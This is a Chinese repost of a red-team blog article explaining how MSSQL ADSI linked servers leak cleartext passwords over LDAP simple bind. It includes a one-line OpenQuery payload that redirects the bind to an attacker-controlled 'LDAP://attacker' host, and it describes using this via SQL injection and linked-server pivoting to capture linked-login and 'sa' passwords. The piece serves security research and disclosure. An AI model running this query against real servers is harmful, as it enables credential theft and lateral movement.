MSSQL linked servers: 滥用 ADSI 进行密码检索

admin 2023年6月9日11:41:49评论21 views字数 2248阅读7分29秒阅读模式

原文:https://www.tarlogic.com/blog/linked-servers-adsi-passwords/

0x00 前言

当我们谈及到 MSSQL 的 Linked Servers 时,我们通常会想到是指向另一个 SQL Server 实例的链接。但是,这只是多个可用选项之一,因此,今天我们将深入研究 Active Directory Service Interfaces(ADSI),它允许使用 LDAP 协议查询 AD。

在讨论了它的内部工作原理之后,我们将介绍一种新的技术,以检索明文链接的登录密码,在某些情况下,也可以检索当前安全上下文的密码。这已经在我们的几个红队活动中被证明是有用的。

0x01 ADSI

通过 ADSI 提供程序,我们可以创使用 sp_addlinkedserver 建指向域控制器的链接,然后使用 SELECT 语句和 OPENQUERY 函数执行查询:

MSSQL linked servers: 滥用 ADSI 进行密码检索
image.png

与其他链接类型一样,我们可以使用 sp_addlinkedsrvlogin配置连接到远程数据源时要使用的链接登录名。在这种情况下,由于我们处于 Active Directory 环境,因此它需要的是一个域帐户。

同样,如果我们不配置帐户,则只有在当前上下文客户端用户是域用户(这意味着 Windows 身份验证用于登录 SQL 服务器)时,我们才能使用该链接。考虑到这一点,我们在协议层级上进行了分析,以便了解它幕后到底是搞了些什么事情,,并且从中获取到一些有趣的东西。

如果我们使用配置的链接登录名触发查询,SQL Server 将使用 LDAP simple authentication 对域控制器进行身份验证,这意味着密码以明文形式传输:

MSSQL linked servers: 滥用 ADSI 进行密码检索
image.png

相反,如果我们当前使用域用户连接到 SQL Server,并且上述链接中没有设置链接登录名,那么它将使用 Windows 身份验证(GSSAPI)。

MSSQL linked servers: 滥用 ADSI 进行密码检索
image.png

这是 ADSI 工作的唯一两个有效选项。

但是...当我们都不适用上述的两种方式,那么它会发生什么?(也就是说不设置链接登录名,并且是使用 SQL 用户登陆 SQL Server)

MSSQL linked servers: 滥用 ADSI 进行密码检索
image.png

如上图所示,SQL Server 将尝试使用当前的 SQL 登录明文密码执行简单绑定,该密码必须以某种方式存储在内存中。

MSSQL linked servers: 滥用 ADSI 进行密码检索
image.png

0x02 I saw your credentials!

知道了这一点,您可能想到了捕获网络流量(在拥有足够的权限和对计算机的访问权限的情况下)。但是,如果我告诉你可以从 SQL 代码中检索密码,甚至可以使用非特权用户呢?

正如配置任何链接服务器时所做的那样,ADSI 提供程序需要指定远程数据源,在本例中为域控制器。但是,我们注意到,由于语法允许在 FROM 子句中指示任意 LDAP URL(可能旨在提供特定的基本 DN),因此你可以指向攻击者控制的计算机并接收连接,而忽略配置的数据源。

SELECT * FROM OpenQuery (ADSI, 'SELECT * FROM ''LDAP://attacker''')

值得注意的是,如果 ADSI 链接服务器已经存在,即使是没有特权的用户也可以进行攻击。否则,一个至少拥有 ALTER ANY LINKED SERVER 权限的用户可以临时配置一个新的链接并继续进行。

我们想出了一些这种技术可能有用的场景,下面详细介绍了这些场景。

2.1 方案一:获取 ADSI 链接登录的明文密码

MSSQL linked servers: 滥用 ADSI 进行密码检索
image.png

2014年,NetSPI发表了一项关于解密链接登录密码的研究,但假设了一些恼人的要求:成为机器的系统管理员和本地管理员,以及有可能使用 DAC 连接(默认情况下只在 localhost 可用)。我们的技术不需要这些权限,也不需要网络访问,因此,例如,它可以直接从 SQL 注入或通过另一个 SQL 服务器链接进行利用。

2.2 方案二:检索当前安全上下文密码

正如我们在上一节中看到的,当前密码必须缓存在内存中。同样,当你在不知道当前用户密码的情况下执行 SQL 时(例如,在 SQL 注入的情况下),这可能很有用。

我们通常遇到的另一种情况是,对一个 SQL 服务器(比如 WINSQL01)有非特权访问,该服务器有一个链接的 SQL 服务器(WINSQL02),并且使用一个系统管理员链接账户(sa)。在这种情况下,我们可以通过 SQL 链接进行攻击,并检索 "sa "密码,该密码可能会在其他服务器中重复使用。

MSSQL linked servers: 滥用 ADSI 进行密码检索
image.png

0x03 NTLM Relay?

当我们第一次看到 GSSAPI 身份验证时,我们想到了一些 NTLM 中继场景。尽管如此,LDAP 客户端默认协商签名,因此我们看不出这有什么用处。

0x04 PoC or GTFO

在我们的一次红队活动中,我们希望在无法建立出站连接的受限环境中执行此攻击。由于在这种情况下,我们拥有系统管理员权限,因此我们决定开发一个CLR 程序集,该程序集侦听本地主机端口并解析传入的 LDAP 绑定请求以最终返回明文密码。

在下面的示例中,我们使用该技术转储链接的登录明文密码,这与场景 1 相对应。 

MSSQL links: linked ADSI login password retrieval


接下来,检索 SQL 链接服务器的“sa”密码,如场景 2 所示。 

MSSQL links: current security context password retrieval

负责解析 LDAP 消息的代码是从这个项目借来的。您可以在此处找到我们的功能性 CLR 程序集


原文始发于微信公众号(RowTeam):MSSQL linked servers: 滥用 ADSI 进行密码检索

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月9日11:41:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSSQL linked servers: 滥用 ADSI 进行密码检索https://cn-sec.com/archives/1790520.html

发表评论

匿名网友 填写信息